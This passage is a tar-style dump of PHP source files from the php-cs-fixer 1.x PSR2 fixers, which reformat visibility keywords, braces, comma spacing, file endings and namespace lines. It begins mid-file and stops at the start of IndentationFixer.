        return 'Visibility MUST be declared on all properties and methods; abstract and final MUST be declared before the visibility; static MUST be declared after the visibility.';
    }

    /**
     * Apply token attributes.
     *
     * Token at given index is prepended by attributes.
     *
     * @param Tokens $tokens  Tokens collection
     * @param int    $index   token index
     * @param array  $attribs array of token attributes
     */
    private function applyAttribs(Tokens $tokens, $index, array $attribs)
    {
        $toInsert = array();

        foreach ($attribs as $attrib) {
            if (null !== $attrib && '' !== $attrib->getContent()) {
                $toInsert[] = $attrib;
                $toInsert[] = new Token(array(T_WHITESPACE, ' '));
            }
        }

        if (!empty($toInsert)) {
            $tokens->insertAt($index, $toInsert);
        }
    }

    /**
     * Grab attributes before method token at given index.
     *
     * It's a shorthand for grabAttribsBeforeToken method.
     *
     * @param Tokens $tokens Tokens collection
     * @param int    $index  token index
     *
     * @return array array of grabbed attributes
     */
    private function grabAttribsBeforeMethodToken(Tokens $tokens, $index)
    {
        static $tokenAttribsMap = array(
            T_PRIVATE => 'visibility',
            T_PROTECTED => 'visibility',
            T_PUBLIC => 'visibility',
            T_ABSTRACT => 'abstract',
            T_FINAL => 'final',
            T_STATIC => 'static',
        );

        return $this->grabAttribsBeforeToken(
            $tokens,
            $index,
            $tokenAttribsMap,
            array(
                'abstract' => null,
                'final' => null,
                'visibility' => new Token(array(T_PUBLIC, 'public')),
                'static' => null,
            )
        );
    }

    /**
     * Grab attributes before property token at given index.
     *
     * It's a shorthand for grabAttribsBeforeToken method.
     *
     * @param Tokens $tokens Tokens collection
     * @param int    $index  token index
     *
     * @return array array of grabbed attributes
     */
    private function grabAttribsBeforePropertyToken(Tokens $tokens, $index)
    {
        static $tokenAttribsMap = array(
            T_VAR => null, // destroy T_VAR token!
            T_PRIVATE => 'visibility',
            T_PROTECTED => 'visibility',
            T_PUBLIC => 'visibility',
            T_STATIC => 'static',
        );

        return $this->grabAttribsBeforeToken(
            $tokens,
            $index,
            $tokenAttribsMap,
            array(
                'visibility' => new Token(array(T_PUBLIC, 'public')),
                'static' => null,
            )
        );
    }

    /**
     * Grab attributes before token at given index.
     *
     * Grabbed attributes are cleared by overriding them with empty string and should be manually applied with applyTokenAttribs method.
     *
     * @param Tokens $tokens          Tokens collection
     * @param int    $index           token index
     * @param array  $tokenAttribsMap token to attribute name map
     * @param array  $attribs         array of token attributes
     *
     * @return array array of grabbed attributes
     */
    private function grabAttribsBeforeToken(Tokens $tokens, $index, array $tokenAttribsMap, array $attribs)
    {
        while (true) {
            $token = $tokens[--$index];

            if (!$token->isArray()) {
                if ($token->equalsAny(array('{', '}', '(', ')'))) {
                    break;
                }

                continue;
            }

            // if token is attribute
            if (array_key_exists($token->getId(), $tokenAttribsMap)) {
                // set token attribute if token map defines attribute name for token
                if ($tokenAttribsMap[$token->getId()]) {
                    $attribs[$tokenAttribsMap[$token->getId()]] = clone $token;
                }

                // clear the token and whitespaces after it
                $tokens[$index]->clear();
                $tokens[$index + 1]->clear();

                continue;
            }

            if ($token->isGivenKind(array(T_WHITESPACE, T_COMMENT, T_DOC_COMMENT))) {
                continue;
            }

            break;
        }

        return $attribs;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/MethodArgumentSpaceFixer.php000066600000004435151456236460020261 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶4.4, ¶4.6.
 *
 * @author Kuanhung Chen <ericj.tw@gmail.com>
 */
class MethodArgumentSpaceFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            $token = $tokens[$index];

            // looking for start of brace and skip array
            if (!$token->equals('(') || $tokens[$index - 1]->isGivenKind(T_ARRAY)) {
                continue;
            }

            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);

            // fix for method argument and method call
            for ($i = $endIndex - 1; $i > $index; --$i) {
                if (!$tokens[$i]->equals(',')) {
                    continue;
                }

                $this->fixSpace($tokens, $i);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'In method arguments and method call, there MUST NOT be a space before each comma and there MUST be one space after each comma.';
    }

    /**
     * Method to insert space after comma and remove space before comma.
     *
     * @param Tokens $tokens
     * @param int    $index
     */
    public function fixSpace(Tokens $tokens, $index)
    {
        // remove space before comma if exist
        if ($tokens[$index - 1]->isWhitespace()) {
            $prevIndex = $tokens->getPrevNonWhitespace($index - 1);

            if (!$tokens[$prevIndex]->equalsAny(array(',', array(T_END_HEREDOC)))) {
                $tokens[$index - 1]->clear();
            }
        }

        // add space after comma if not exist
        if (!$tokens[$index + 1]->isWhitespace()) {
            $tokens->insertAt($index + 1, new Token(array(T_WHITESPACE, ' ')));
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/BracesFixer.php000066600000055337151456236460015570 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶4.1, ¶4.4, ¶5.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class BracesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $this->fixCommentBeforeBrace($tokens);
        $this->fixMissingControlBraces($tokens);
        $this->fixIndents($tokens);
        $this->fixControlContinuationBraces($tokens);
        $this->fixSpaceAroundToken($tokens);
        $this->fixDoWhile($tokens);
        $this->fixLambdas($tokens);

        // Set code to itself to redo tokenizer work, that will guard as against token collection corruption.
        // TODO: This MUST be removed on 2.0-dev version, where we add more transformers (and lack of them causes corruption on 1.x line).
        $code = $tokens->generateCode();
        $tokens->setCode($code);

        return $code;
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'The body of each structure MUST be enclosed by braces. Braces should be properly placed. Body of braces should be properly indented.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the ElseIfFixer and DuplicateSemicolonFixer
        return -25;
    }

    private function fixCommentBeforeBrace(Tokens $tokens)
    {
        $controlTokens = $this->getControlTokens();

        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind($controlTokens)) {
                continue;
            }

            $parenthesisEndIndex = $this->findParenthesisEnd($tokens, $index);
            $afterParenthesisIndex = $tokens->getNextNonWhitespace($parenthesisEndIndex);
            $afterParenthesisToken = $tokens[$afterParenthesisIndex];

            if (!$afterParenthesisToken->isComment()) {
                continue;
            }

            $afterCommentIndex = $tokens->getNextMeaningfulToken($afterParenthesisIndex);
            $afterCommentToken = $tokens[$afterCommentIndex];

            if (!$afterCommentToken->equals('{')) {
                continue;
            }

            $tokenTmp = $tokens[$afterCommentIndex];
            $tokens[$afterCommentIndex - 1]->setContent(rtrim($tokens[$afterCommentIndex - 1]->getContent()));

            for ($i = $afterCommentIndex; $i > $afterParenthesisIndex; --$i) {
                $tokens[$i] = $tokens[$i - 1];
            }

            $tokens[$afterParenthesisIndex] = $tokenTmp;
        }
    }

    private function fixControlContinuationBraces(Tokens $tokens)
    {
        $controlContinuationTokens = $this->getControlContinuationTokens();

        for ($index = count($tokens) - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind($controlContinuationTokens)) {
                continue;
            }

            $prevIndex = $tokens->getPrevNonWhitespace($index);
            $prevToken = $tokens[$prevIndex];

            if (!$prevToken->equals('}')) {
                continue;
            }

            $tokens->ensureWhitespaceAtIndex($index - 1, 1, ' ');
        }
    }

    private function fixDoWhile(Tokens $tokens)
    {
        for ($index = count($tokens) - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_DO)) {
                continue;
            }

            $parenthesisEndIndex = $this->findParenthesisEnd($tokens, $index);
            $startBraceIndex = $tokens->getNextNonWhitespace($parenthesisEndIndex);
            $endBraceIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $startBraceIndex);
            $nextNonWhitespaceIndex = $tokens->getNextNonWhitespace($endBraceIndex);
            $nextNonWhitespaceToken = $tokens[$nextNonWhitespaceIndex];

            if (!$nextNonWhitespaceToken->isGivenKind(T_WHILE)) {
                continue;
            }

            $tokens->ensureWhitespaceAtIndex($nextNonWhitespaceIndex - 1, 1, ' ');
        }
    }

    private function fixIndents(Tokens $tokens)
    {
        $classyTokens = $this->getClassyTokens();
        $classyAndFunctionTokens = array_merge(array(T_FUNCTION), $classyTokens);
        $controlTokens = $this->getControlTokens();
        $indentTokens = array_filter(
            array_merge($classyAndFunctionTokens, $controlTokens),
            function ($item) {
                return T_SWITCH !== $item;
            }
        );

        for ($index = 0, $limit = count($tokens); $index < $limit; ++$index) {
            $token = $tokens[$index];

            // if token is not a structure element - continue
            if (!$token->isGivenKind($indentTokens)) {
                continue;
            }

            if (
                $token->isGivenKind(T_FUNCTION)
                && (
                    // do not change indent for lambda functions
                    $tokens->isLambda($index)
                    // do not change import of functions
                    || $tokens[$tokens->getPrevMeaningfulToken($index)]->isGivenKind(T_USE)
                )
            ) {
                continue;
            }

            if ($token->isGivenKind($classyAndFunctionTokens)) {
                $startBraceIndex = $tokens->getNextTokenOfKind($index, array(';', '{'));
                $startBraceToken = $tokens[$startBraceIndex];
            } else {
                $parenthesisEndIndex = $this->findParenthesisEnd($tokens, $index);
                $startBraceIndex = $tokens->getNextNonWhitespace($parenthesisEndIndex);
                $startBraceToken = $tokens[$startBraceIndex];
            }

            // structure without braces block - nothing to do, e.g. do { } while (true);
            if (!$startBraceToken->equals('{')) {
                continue;
            }

            $endBraceIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $startBraceIndex);

            $indent = $this->detectIndent($tokens, $index);

            // fix indent near closing brace
            $tokens->ensureWhitespaceAtIndex($endBraceIndex - 1, 1, "\n".$indent);

            // fix indent between braces
            $lastCommaIndex = $tokens->getPrevTokenOfKind($endBraceIndex - 1, array(';', '}'));

            $nestLevel = 1;
            for ($nestIndex = $lastCommaIndex; $nestIndex >= $startBraceIndex; --$nestIndex) {
                $nestToken = $tokens[$nestIndex];

                if ($nestToken->equals(')')) {
                    $nestIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $nestIndex, false);
                    continue;
                }

                if (1 === $nestLevel && $nestToken->equalsAny(array(';', '}'))) {
                    $nextNonWhitespaceNestToken = $tokens[$tokens->getNextNonWhitespace($nestIndex)];

                    if (
                        // next Token is not a comment
                        !$nextNonWhitespaceNestToken->isComment() &&
                        // and it is not a `$foo = function () {};` situation
                        !($nestToken->equals('}') && $nextNonWhitespaceNestToken->equalsAny(array(';', ',', ']'))) &&
                        // and it is not a `Foo::{bar}()` situation
                        !($nestToken->equals('}') && $nextNonWhitespaceNestToken->equals('(')) &&
                        // and it is not a `${"a"}->...` and `${"b{$foo}"}->...` situation
                        !($nestToken->equals('}') && $tokens[$nestIndex - 1]->equalsAny(array('"', "'", array(T_CONSTANT_ENCAPSED_STRING)))) &&
                        // and it is not a `$var{0} = ` situation (character access on string)
                        // TODO: remove on 2.x line
                        !($nestToken->equals('}') && $nextNonWhitespaceNestToken->equalsAny(array('=', array(T_OBJECT_OPERATOR))))
                    ) {
                        if ($nextNonWhitespaceNestToken->isGivenKind($this->getControlContinuationTokens()) || $nextNonWhitespaceNestToken->isGivenKind(T_CLOSE_TAG)) {
                            $whitespace = ' ';
                        } else {
                            $nextToken = $tokens[$nestIndex + 1];
                            $nextWhitespace = '';

                            if ($nextToken->isWhitespace()) {
                                $nextWhitespace = rtrim($nextToken->getContent(), " \t");

                                if (strlen($nextWhitespace) && "\n" === $nextWhitespace[strlen($nextWhitespace) - 1]) {
                                    $nextWhitespace = substr($nextWhitespace, 0, -1);
                                }
                            }

                            $whitespace = $nextWhitespace."\n".$indent;

                            if (!$nextNonWhitespaceNestToken->equals('}')) {
                                $whitespace .= '    ';
                            }
                        }

                        $tokens->ensureWhitespaceAtIndex($nestIndex + 1, 0, $whitespace);
                    }
                }

                if ($nestToken->equals('}')) {
                    ++$nestLevel;
                    continue;
                }

                if ($nestToken->equals('{')) {
                    --$nestLevel;
                    continue;
                }
            }

            // fix indent near opening brace
            if (isset($tokens[$startBraceIndex + 2]) && $tokens[$startBraceIndex + 2]->equals('}')) {
                $tokens->ensureWhitespaceAtIndex($startBraceIndex + 1, 0, "\n".$indent);
            } elseif (!$tokens[$index]->isClassy()) {
                $nextToken = $tokens[$startBraceIndex + 1];
                $nextNonWhitespaceToken = $tokens[$tokens->getNextNonWhitespace($startBraceIndex)];

                // set indent only if it is not a case, when comment is following { in same line
                if (
                    !$nextNonWhitespaceToken->isComment()
                    || !($nextToken->isWhitespace() && $nextToken->isWhitespace(array('whitespaces' => " \t")))
                    && substr_count($nextToken->getContent(), "\n") === 1 // preserve blank lines
                ) {
                    $tokens->ensureWhitespaceAtIndex($startBraceIndex + 1, 0, "\n".$indent.'    ');
                }
            } else {
                $nextToken = $tokens[$startBraceIndex + 1];

                if (!$nextToken->isWhitespace()) {
                    $tokens->ensureWhitespaceAtIndex($startBraceIndex + 1, 0, "\n".$indent.'    ');
                } else {
                    $tmpIndent = trim($nextToken->getContent(), " \t").$indent.'    ';

                    if (!isset($tmpIndent[0]) || "\n" !== $tmpIndent[0]) {
                        $tmpIndent = "\n".$tmpIndent;
                    }

                    $tokens->ensureWhitespaceAtIndex($startBraceIndex + 1, 0, $tmpIndent);
                }
            }

            if ($token->isGivenKind($classyTokens)) {
                $tokens->ensureWhitespaceAtIndex($startBraceIndex - 1, 1, "\n".$indent);
            } elseif ($token->isGivenKind(T_FUNCTION)) {
                $closingParenthesisIndex = $tokens->getPrevTokenOfKind($startBraceIndex, array(')'));
                if (null === $closingParenthesisIndex) {
                    continue;
                }

                $prevToken = $tokens[$closingParenthesisIndex - 1];
                if ($prevToken->isWhitespace() && false !== strpos($prevToken->getContent(), "\n")) {
                    if (!$tokens[$startBraceIndex - 2]->isComment()) {
                        $tokens->ensureWhitespaceAtIndex($startBraceIndex - 1, 1, ' ');
                    }
                } else {
                    $tokens->ensureWhitespaceAtIndex($startBraceIndex - 1, 1, "\n".$indent);
                }
            } else {
                $tokens->ensureWhitespaceAtIndex($startBraceIndex - 1, 1, ' ');
            }

            // reset loop limit due to collection change
            $limit = count($tokens);
        }
    }

    private function fixLambdas(Tokens $tokens)
    {
        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_FUNCTION) || !$tokens->isLambda($index)) {
                continue;
            }

            $braceIndex = $tokens->getNextTokenOfKind($index, array('{'));

            $commentIndex = $tokens->getPrevNonWhitespace($braceIndex);
            $comment = $tokens[$commentIndex];
            if ($comment->isGivenKind(T_COMMENT) && '/*' !== substr($comment->getContent(), 0, 2)) {
                $commentPrototype = $comment->getPrototype();
                $commentPrototype[1] = rtrim($commentPrototype[1]);
                $tokens[$commentIndex]->override($tokens[$braceIndex]->getPrototype());
                $tokens[$braceIndex]->override($commentPrototype);
                $braceIndex = $commentIndex;

                if ($tokens[$commentIndex + 1]->isWhitespace()) {
                    $tokens[$commentIndex + 1]->clear();
                }
            }

            $tokens->ensureWhitespaceAtIndex($braceIndex - 1, 1, ' ');
        }
    }

    private function fixMissingControlBraces(Tokens $tokens)
    {
        $controlTokens = $this->getControlTokens();

        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind($controlTokens)) {
                continue;
            }

            $parenthesisEndIndex = $this->findParenthesisEnd($tokens, $index);
            $tokenAfterParenthesis = $tokens[$tokens->getNextMeaningfulToken($parenthesisEndIndex)];

            // if Token after parenthesis is { then we do not need to insert brace, but to fix whitespace before it
            if ($tokenAfterParenthesis->equals('{')) {
                $tokens->ensureWhitespaceAtIndex($parenthesisEndIndex + 1, 0, ' ');
                continue;
            }

            // do not add braces for cases:
            // - structure without block, e.g. while ($iter->next());
            // - structure with block, e.g. while ($i) {...}, while ($i) : {...} endwhile;
            if ($tokenAfterParenthesis->equalsAny(array(';', '{', ':'))) {
                continue;
            }

            $statementEndIndex = $this->findStatementEnd($tokens, $parenthesisEndIndex);

            // insert closing brace
            $tokens->insertAt($statementEndIndex + 1, array(new Token(array(T_WHITESPACE, ' ')), new Token('}')));

            // insert missing `;` if needed
            if (!$tokens[$statementEndIndex]->equalsAny(array(';', '}'))) {
                $tokens->insertAt($statementEndIndex + 1, new Token(';'));
            }

            // insert opening brace
            $tokens->insertAt($parenthesisEndIndex + 1, new Token('{'));
            $tokens->ensureWhitespaceAtIndex($parenthesisEndIndex + 1, 0, ' ');
        }
    }

    private function fixSpaceAroundToken(Tokens $tokens)
    {
        $controlTokens = $this->getControlTokens();

        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if ($token->isGivenKind($controlTokens) || $token->isGivenKind(T_USE)) {
                $nextNonWhitespaceIndex = $tokens->getNextNonWhitespace($index);

                if (!$tokens[$nextNonWhitespaceIndex]->equals(':')) {
                    $tokens->ensureWhitespaceAtIndex($index + 1, 0, ' ');
                }

                $prevToken = $tokens[$index - 1];

                if (!$prevToken->isWhitespace() && !$prevToken->isComment() && !$prevToken->isGivenKind(T_OPEN_TAG)) {
                    $tokens->ensureWhitespaceAtIndex($index - 1, 1, ' ');
                }
            }
        }
    }

    /**
     * @param Tokens $tokens
     * @param int    $index
     *
     * @return string
     */
    private function detectIndent(Tokens $tokens, $index)
    {
        static $goBackTokens = array(T_ABSTRACT, T_FINAL, T_PUBLIC, T_PROTECTED, T_PRIVATE, T_STATIC);

        $token = $tokens[$index];

        if ($token->isGivenKind($goBackTokens) || $token->isClassy() || $token->isGivenKind(T_FUNCTION)) {
            $prevIndex = $tokens->getPrevNonWhitespace($index);
            $prevToken = $tokens[$prevIndex];

            if ($prevToken->isGivenKind($goBackTokens)) {
                return $this->detectIndent($tokens, $prevIndex);
            }

            if ($token->isGivenKind(T_CLASS) && $prevToken->isGivenKind(T_NEW)) {
                for ($prevIndex = $prevIndex - 1; 0 <= $prevIndex; --$prevIndex) {
                    $prevToken = $tokens[$prevIndex];
                    // if token is multiline whitespaces
                    if ($prevToken->isWhitespace() && false !== strpos($prevToken->getContent(), "\n")) {
                        $explodedContent = explode("\n", $prevToken->getContent());

                        return end($explodedContent);
                    }
                }

                // no multiline whitespaces has been found, no indent detected
                return '';
            }
        }

        $prevIndex = $index - 1;
        $prevToken = $tokens[$prevIndex];

        if ($prevToken->equals('}')) {
            return $this->detectIndent($tokens, $prevIndex);
        }

        // if can not detect indent:
        if (!$prevToken->isWhitespace()) {
            return '';
        }

        $explodedContent = explode("\n", $prevToken->getContent());

        // proper decect indent for code: `    } else {`
        if (1 === count($explodedContent)) {
            if ($tokens[$index - 2]->equals('}')) {
                return $this->detectIndent($tokens, $index - 2);
            }
        }

        return end($explodedContent);
    }

    /**
     * @param Tokens $tokens
     * @param int    $structureTokenIndex
     *
     * @return int
     */
    private function findParenthesisEnd(Tokens $tokens, $structureTokenIndex)
    {
        $nextIndex = $tokens->getNextMeaningfulToken($structureTokenIndex);
        $nextToken = $tokens[$nextIndex];

        // return if next token is not opening parenthesis
        if (!$nextToken->equals('(')) {
            return $structureTokenIndex;
        }

        return $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $nextIndex);
    }

    private function findStatementEnd(Tokens $tokens, $parenthesisEndIndex)
    {
        $nextIndex = $tokens->getNextMeaningfulToken($parenthesisEndIndex);
        $nextToken = $tokens[$nextIndex];

        if (!$nextToken) {
            return $parenthesisEndIndex;
        }

        if ($nextToken->equals('{')) {
            return $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $nextIndex);
        }

        if ($nextToken->isGivenKind($this->getControlTokens())) {
            $parenthesisEndIndex = $this->findParenthesisEnd($tokens, $nextIndex);

            $endIndex = $this->findStatementEnd($tokens, $parenthesisEndIndex);

            if ($nextToken->isGivenKind(array(T_IF, T_TRY))) {
                $openingTokenKind = $nextToken->getId();

                while (true) {
                    $nextIndex = $tokens->getNextMeaningfulToken($endIndex);
                    $nextToken = isset($nextIndex) ? $tokens[$nextIndex] : null;
                    if ($nextToken && $nextToken->isGivenKind($this->getControlContinuationTokensForOpeningToken($openingTokenKind))) {
                        $parenthesisEndIndex = $this->findParenthesisEnd($tokens, $nextIndex);

                        $endIndex = $this->findStatementEnd($tokens, $parenthesisEndIndex);

                        if ($nextToken->isGivenKind($this->getFinalControlContinuationTokensForOpeningToken($openingTokenKind))) {
                            return $endIndex;
                        }
                    } else {
                        break;
                    }
                }
            }

            return $endIndex;
        }

        $index = $parenthesisEndIndex;

        while (true) {
            $token = $tokens[++$index];

            // if there is some block in statement (eg lambda function) we need to skip it
            if ($token->equals('{')) {
                $index = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $index);
                continue;
            }

            if ($token->equals(';')) {
                return $index;
            }

            if ($token->isGivenKind(T_CLOSE_TAG)) {
                return $tokens->getPrevNonWhitespace($index);
            }
        }

        throw new \RuntimeException('Statement end not found');
    }

    private function getClassyTokens()
    {
        static $tokens = null;

        if (null === $tokens) {
            $tokens = array(T_CLASS, T_INTERFACE);

            if (defined('T_TRAIT')) {
                $tokens[] = T_TRAIT;
            }
        }

        return $tokens;
    }

    private function getControlTokens()
    {
        static $tokens = null;

        if (null === $tokens) {
            $tokens = array(
                T_DECLARE,
                T_DO,
                T_ELSE,
                T_ELSEIF,
                T_FOR,
                T_FOREACH,
                T_IF,
                T_WHILE,
                T_TRY,
                T_CATCH,
                T_SWITCH,
            );

            if (defined('T_FINALLY')) {
                $tokens[] = T_FINALLY;
            }
        }

        return $tokens;
    }

    private function getControlContinuationTokens()
    {
        static $tokens = null;

        if (null === $tokens) {
            $tokens = array(
                T_ELSE,
                T_ELSEIF,
                T_CATCH,
            );

            if (defined('T_FINALLY')) {
                $tokens[] = T_FINALLY;
            }
        }

        return $tokens;
    }

    private function getControlContinuationTokensForOpeningToken($openingTokenKind)
    {
        if ($openingTokenKind === T_IF) {
            return array(
                T_ELSE,
                T_ELSEIF,
            );
        }

        if ($openingTokenKind === T_TRY) {
            $tokens = array(T_CATCH);
            if (defined('T_FINALLY')) {
                $tokens[] = T_FINALLY;
            }

            return $tokens;
        }

        return array();
    }

    private function getFinalControlContinuationTokensForOpeningToken($openingTokenKind)
    {
        if ($openingTokenKind === T_IF) {
            return array(T_ELSE);
        }

        if ($openingTokenKind === T_TRY && defined('T_FINALLY')) {
            return array(T_FINALLY);
        }

        return array();
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/EofEndingFixer.php000066600000004224151456236460016214 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class EofEndingFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $count = $tokens->count();
        if (0 === $count) {
            return '';
        }

        $token = $tokens[$count - 1];
        if ($token->isGivenKind(array(T_INLINE_HTML, T_CLOSE_TAG, T_OPEN_TAG))) {
            return $content;
        }

        $isSingleLineComment = function (Token $token) {
            return $token->isComment() && '/*' !== substr($token->getContent(), 0, 2);
        };
        $clearSingleLineComment = function (Token $token) {
            $content = $token->getContent();
            $content = rtrim($content, "\n")."\n";
            $token->setContent($content);
        };

        if ($token->isWhitespace()) {
            if ($count > 1 && $isSingleLineComment($tokens[$count - 2])) {
                $clearSingleLineComment($tokens[$count - 2]);
                $token->clear();
            } else {
                $lineBreak = false === strrpos($token->getContent(), "\r") ? "\n" : "\r\n";
                $token->setContent($lineBreak);
            }
        } elseif ($isSingleLineComment($token)) {
            $clearSingleLineComment($token);
        } else {
            $tokens->insertAt($count, new Token(array(T_WHITESPACE, "\n")));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'A file must always end with a single empty line feed.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // must run last to be sure the file is properly formatted before it runs
        return -50;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/LowercaseKeywordsFixer.php000066600000002112151456236460020024 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶2.5.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LowercaseKeywordsFixer extends AbstractFixer
{
    private static $excludedTokens = array(T_HALT_COMPILER);

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $token) {
            if ($token->isKeyword() && !$token->isGivenKind(self::$excludedTokens)) {
                $token->setContent(strtolower($token->getContent()));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHP keywords MUST be in lower case.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/LineAfterNamespaceFixer.php000066600000003743151456236460020051 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶3.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LineAfterNamespaceFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $lastIndex = $tokens->count() - 1;

        for ($index = $lastIndex; $index >= 0; --$index) {
            $token = $tokens[$index];

            if ($token->isGivenKind(T_NAMESPACE)) {
                $semicolonIndex = $tokens->getNextTokenOfKind($index, array(';', '{', array(T_CLOSE_TAG)));
                $semicolonToken = $tokens[$semicolonIndex];

                if (!isset($tokens[$semicolonIndex + 1]) || !$semicolonToken->equals(';')) {
                    continue;
                }

                $nextIndex = $semicolonIndex + 1;
                $nextToken = $tokens[$nextIndex];

                if (!$nextToken->isWhitespace()) {
                    $tokens->insertAt($semicolonIndex + 1, new Token(array(T_WHITESPACE, "\n\n")));
                } else {
                    $nextToken->setContent(
                        ($nextIndex === $lastIndex ? "\n" : "\n\n").ltrim($nextToken->getContent())
                    );
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There MUST be one blank line after the namespace declaration.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the UnusedUseFixer
        return -20;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/PhpClosingTagFixer.php000066600000002651151456236460017062 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶2.2.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpClosingTagFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        if (!$tokens->isMonolithicPhp()) {
            return $content;
        }

        $closeTags = $tokens->findGivenKind(T_CLOSE_TAG);

        if (empty($closeTags)) {
            return $content;
        }

        list($index, $token) = each($closeTags);

        $tokens->removeLeadingWhitespace($index);
        $token->clear();

        $prevIndex = $tokens->getPrevNonWhitespace($index);
        $prevToken = $tokens[$prevIndex];

        if (!$prevToken->equalsAny(array(';', '}'))) {
            $tokens->insertAt($prevIndex + 1, new Token(';'));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'The closing ?> tag MUST be omitted from files containing only PHP.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/IndentationFixer.php000066600000003131151456236460016626 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
